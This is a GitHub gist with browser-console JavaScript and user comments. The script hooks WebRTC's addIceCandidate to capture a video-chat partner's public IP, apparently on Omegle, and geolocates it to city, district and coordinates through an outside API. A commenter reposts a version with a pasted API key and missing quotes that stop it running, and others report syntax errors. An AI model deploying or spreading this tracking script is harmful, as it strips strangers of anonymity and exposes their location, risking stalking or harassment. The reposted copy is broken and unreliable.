-
Star
(207)
You must be signed in to star a gist -
Fork
(74)
You must be signed in to fork a gist
-
-
Save mattupham/8db8da9662dca830ec81b43b30eb8a6d to your computer and use it in GitHub Desktop.
// Subscribe on YouTube, and follow on TikTok (@mattupham)! Socials found below: | |
// https://mattupham.com/links | |
// @ me on Discord with any questions! | |
https://link.mattupham.com/discord | |
// -------------------------------------------- | |
// PLEASE REPLACE "your-api-key-here" WITH AN | |
// API KEY FROM https://ipgeolocation.io/ | |
let apiKey = "your-api-key-here"; | |
window.oRTCPeerConnection = | |
window.oRTCPeerConnection || window.RTCPeerConnection; | |
window.RTCPeerConnection = function (...args) { | |
const pc = new window.oRTCPeerConnection(...args); | |
pc.oaddIceCandidate = pc.addIceCandidate; | |
pc.addIceCandidate = function (iceCandidate, ...rest) { | |
const fields = iceCandidate.candidate.split(" "); | |
console.log(iceCandidate.candidate); | |
const ip = fields[4]; | |
if (fields[7] === "srflx") { | |
getLocation(ip); | |
} | |
return pc.oaddIceCandidate(iceCandidate, ...rest); | |
}; | |
return pc; | |
}; | |
let getLocation = async (ip) => { | |
let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`; | |
await fetch(url).then((response) => | |
response.json().then((json) => { | |
const output = ` | |
--------------------- | |
Country: ${json.country_name} | |
State: ${json.state_prov} | |
City: ${json.city} | |
District: ${json.district} | |
Lat / Long: (${json.latitude}, ${json.longitude}) | |
--------------------- | |
`; | |
console.log(output); | |
}) | |
); | |
}; |
same
heres mine
let apiKey = e4cd3b65c9b645baa867e1d73dd504fc;
window.oRTCPeerConnection =
window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args);
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");
console.log(iceCandidate.candidate);
const ip = fields[4];
if (fields[7] === "srflx") {
getLocation(ip);
}
return pc.oaddIceCandidate(iceCandidate, ...rest);
};
return pc;
};
let getLocation = async (ip) => {
let url = https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}
;
await fetch(url).then((response) =>
response.json().then((json) => {
const output = --------------------- Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} Lat / Long: (${json.latitude}, ${json.longitude}) IP: ${ip} Provider: ${json.isp} ---------------------
;
console.log(output);
})
);
};
Thanks for taking your time to do this, did it work for you ? unfortunately it didn't for me, still shows the error message. Ill try to figure it out or retry with your script and aPi key, anyways thanks a lot !!
Use this script guys https://github.com/Deathpoolxrs/Omgele-IP-Location-Finder/blob/main/script.txt
@Deathpoolxrs Does it work with omegle me?
sorry it doesn't work for me, I did all the steps including getting the api Key, but when I press "execute" it indicates me a syntax error
what should I do please?